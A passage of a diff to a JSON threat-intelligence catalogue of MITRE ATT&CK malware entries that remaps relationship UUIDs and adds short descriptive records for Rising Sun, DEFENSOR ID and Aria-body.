"56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1984,7 +2428,7 @@ "type": "uses" }, { - "dest-uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044", + "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2012,28 +2456,28 @@ "type": "uses" }, { - "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "d54416bd-0803-41ca-870a-ce1af7c05638", + "dest-uuid": "53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2067,7 +2511,7 @@ }, "related": [ { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "1996eef1-ced3-4d7f-bf94-33298cabbf72", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2081,14 +2525,14 @@ "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2102,7 +2546,7 @@ "type": "uses" }, { - "dest-uuid": "ad255bfe-a9e6-4b52-a258-8d3462abe842", + "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2116,7 +2560,7 @@ "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2143,7 +2587,7 @@ }, "related": [ { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2157,7 +2601,7 @@ "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2199,7 +2643,7 @@ "type": "uses" }, { - "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2220,7 +2664,7 @@ "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2248,14 +2692,14 @@ "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2269,14 +2713,14 @@ "type": "uses" }, { - "dest-uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "dest-uuid": "41868330-6ee2-4d0f-b743-9f2294c3c9b6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2297,7 +2741,7 @@ "type": "uses" }, { - "dest-uuid": "cf7b3a06-8b42-4c33-bbe9-012120027925", + "dest-uuid": "c726e0a2-a57a-4b7b-a973-d0f013246617", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2324,7 +2768,7 @@ }, "related": [ { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "dest-uuid": "bf90d72c-c00b-45e3-b3aa-68560560d4c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2352,28 +2796,28 @@ "type": "uses" }, { - "dest-uuid": "ffe742ed-9100-4686-9e00-c331da544787", + "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "ba8e391f-14b5-496f-81f2-2d5ecd646c1c", + "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "f44731de-ea9f-406d-9b83-30ecbb9b4392", + "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2394,7 +2838,7 @@ "type": "uses" }, { - "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69", + "dest-uuid": "6495ae23-3ab4-43c5-a94f-5638a2c31fd2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2457,14 +2901,7 @@ "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "51dea151-0898-4a45-967c-3ebee0420484", + "dest-uuid": "eb062747-2193-45de-8fa2-e62549c37ddf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2485,7 +2922,7 @@ "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2499,7 +2936,7 @@ "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2534,7 +2971,7 @@ "type": "uses" }, { - "dest-uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2548,35 +2985,35 @@ "type": "uses" }, { - "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "a127c32c-cbb0-4f9d-be07-881a792408ec", + "dest-uuid": "840a987a-99bd-4a80-a5c9-0cb2baa6cade", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", + "dest-uuid": "be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2586,6 +3023,193 @@ "uuid": "bdb27a1d-1844-42f1-a0c0-826027ae0326", "value": "Revenge RAT - S0379" }, + { + "description": "[Rising Sun](https://attack.mitre.org/software/S0448) is a modular backdoor malware used extensively in Operation [Sharpshooter](https://attack.mitre.org/groups/G0104). The malware has been observed targeting nuclear, defense, energy, and financial services companies across the world. [Rising Sun](https://attack.mitre.org/software/S0448) uses source code from [Lazarus Group](https://attack.mitre.org/groups/G0032)'s Trojan Duuzer.(Citation: McAfee Sharpshooter December 2018)", + "meta": { + "external_id": "S0448", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0448", + "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf" + ], + "synonyms": [ + "Rising Sun" + ] + }, + "related": [ + { + "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "143c0cbb-a297-4142-9624-87ffc778980b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ec8fc7e2-b356-455c-8db5-2e37be158e7d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "56e6b6c2-e573-4969-8bab-783205cebbbf", + "value": "Rising Sun - S0448" + }, + { + "description": "[DEFENSOR ID](https://attack.mitre.org/software/S0479) is a banking trojan capable of clearing a victim’s bank account or cryptocurrency wallet and taking over email or social media accounts. [DEFENSOR ID](https://attack.mitre.org/software/S0479) performs the majority of its malicious functionality by abusing Android’s accessibility service.(Citation: ESET DEFENSOR ID) ", + "meta": { + "external_id": "S0479", + "mitre_platforms": [ + "Android" + ], + "refs": [ + "https://attack.mitre.org/software/S0479", + "https://www.welivesecurity.com/2020/05/22/insidious-android-malware-gives-up-all-malicious-features-but-one-gain-stealth/" + ], + "synonyms": [ + "DEFENSOR ID" + ] + }, + "related": [ + { + "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "73c26732-6422-4081-8b63-6d0ae93d449e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d1f1337e-aea7-454c-86bd-482a98ffaf62", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "198ce408-1470-45ee-b47f-7056050d4fc2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "5a5dca4c-03c1-4b99-bfcf-c206e20aa663", + "value": "DEFENSOR ID - S0479" + }, { "description": "[Trojan-SMS.AndroidOS.FakeInst.a](https://attack.mitre.org/software/S0306) is Android malware. (Citation: Kaspersky-MobileMalware)", "meta": { @@ -2691,7 +3315,7 @@ "type": "uses" }, { - "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "dest-uuid": "25659dd6-ea12-45c4-97e6-381e3e4b593e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2712,7 +3336,7 @@ "type": "uses" }, { - "dest-uuid": "e01be9c5-e763-4caf-aeb7-000b416aef67", + "dest-uuid": "635cbe30-392d-4e27-978e-66774357c762", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2726,7 +3350,7 @@ "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2740,21 +3364,21 @@ "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2795,7 +3419,7 @@ }, "related": [ { - "dest-uuid": "970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "dest-uuid": "4ab929c6-ee2d-4fb5-aab4-b14be2ed7179", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2809,35 +3433,35 @@ "type": "uses" }, { - "dest-uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "e01be9c5-e763-4caf-aeb7-000b416aef67", + "dest-uuid": "635cbe30-392d-4e27-978e-66774357c762", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2851,7 +3475,7 @@ "type": "uses" }, { - "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "dest-uuid": "25659dd6-ea12-45c4-97e6-381e3e4b593e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2884,7 +3508,7 @@ ], "refs": [ "https://attack.mitre.org/software/S0087", - "http://www.threatgeek.com/2016/01/introducing-hi-zor-rat.html" + "https://www.fidelissecurity.com/threatgeek/archive/introducing-hi-zor-rat/" ], "synonyms": [ "Hi-Zor" @@ -2913,7 +3537,7 @@ "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2927,35 +3551,42 @@ "type": "uses" }, { - "dest-uuid": "428ca9f8-0e33-442a-be87-f869cb4cf73e", + "dest-uuid": "bf176076-b789-408e-8cba-7275e81c0ada", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "68f7e3a1-f09f-4164-9a62-16b648a0dd5a", + "dest-uuid": "b97f1d35-4249-4486-a6b5-ee60ccf24fab", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2994,6 +3625,187 @@ "uuid": "17dec760-9c8f-4f1b-9b4b-0ac47a453234", "value": "Miner-C - S0133" }, + { + "description": "[Aria-body](https://attack.mitre.org/software/S0456) is a custom backdoor that has been used by [Naikon](https://attack.mitre.org/groups/G0019).(Citation: CheckPoint Naikon May 2020)", + "meta": { + "external_id": "S0456", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0456", + "https://research.checkpoint.com/2020/naikon-apt-cyber-espionage-reloaded/" + ], + "synonyms": [ + "Aria-body" + ] + }, + "related": [ + { + "dest-uuid": "f4599aa0-4f85-4a32-80ea-fc39dc965945", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "118f61a5-eb3e-4fb6-931f-2096647f4ecd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7e150503-88e7-4861-866b-ff1ac82c4475", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c21d5a77-d422-4a69-acd7-2c53c1faa34b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1b7ba276-eedc-4951-a762-0ceea2c030ec", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "86850eff-2729-40c3-b85e-c4af26da4a2d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "677569f9-a8b0-459e-ab24-7f18091fa7bf", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4ae4f953-fe58-4cc8-a327-33257e30a830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "3161d76a-e2b2-4b97-9906-24909b735386", + "value": "Aria-body - S0456" + }, { "description": "[Android/Chuli.A](https://attack.mitre.org/software/S0304) is Android malware that was delivered to activist groups via a spearphishing email with an attachment. (Citation: Kaspersky-WUC)", "meta": { @@ -3092,6 +3904,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "16ab6452-c3c1-497c-a47d-206018ca1ada", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "c5e9cb46-aced-466c-85ea-7db5572ad9ec", @@ -3162,7 +3981,7 @@ "type": "uses" }, { - "dest-uuid": "d54416bd-0803-41ca-870a-ce1af7c05638", + "dest-uuid": "143c0cbb-a297-4142-9624-87ffc778980b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3190,7 +4009,7 @@ "type": "uses" }, { - "dest-uuid": "e6415f09-df0e-48de-9aba-928c902b7549", + "dest-uuid": "a3e1e6c5-9c74-4fc0-a16c-a9d228c17829", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3225,14 +4044,14 @@ "type": "similar" }, { - "dest-uuid": "ad255bfe-a9e6-4b52-a258-8d3462abe842", + "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3260,21 +4079,21 @@ "type": "uses" }, { - "dest-uuid": "d54416bd-0803-41ca-870a-ce1af7c05638", + "dest-uuid": "53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "1608f3e1-598a-42f4-a01a-2e252e81728f", + "dest-uuid": "4bc31b94-045b-4752-8920-aebaebdb6470", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3295,7 +4114,7 @@ "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3336,7 +4155,7 @@ "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3350,7 +4169,7 @@ "type": "uses" }, { - "dest-uuid": "6ff403bc-93e3-48be-8687-e102fdba8c88", + "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3364,7 +4183,7 @@ "type": "uses" }, { - "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3398,21 +4217,14 @@ }, "related": [ { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "573ad264-1371-4ae0-8482-d2673b719dba", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "e99ec083-abdd-48de-ad87-4dbf6f8ba2a4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3426,14 +4238,7 @@ "type": "uses" }, { - "dest-uuid": "dd901512-6e37-4155-943b-453e3777b125", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d54416bd-0803-41ca-870a-ce1af7c05638", + "dest-uuid": "53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3454,28 +4259,42 @@ "type": "uses" }, { - "dest-uuid": "dc27c2ec-c5f9-4228-ba57-d67b590bda93", + "dest-uuid": "ec8fc7e2-b356-455c-8db5-2e37be158e7d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "6ff403bc-93e3-48be-8687-e102fdba8c88", + "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "82caa33e-d11a-433a-94ea-9b5a5fbef81d", + "dest-uuid": "29be378d-262d-4e99-b00d-852d573628e6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d10cbd34-42e3-45c0-84d2-535a09849584", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": 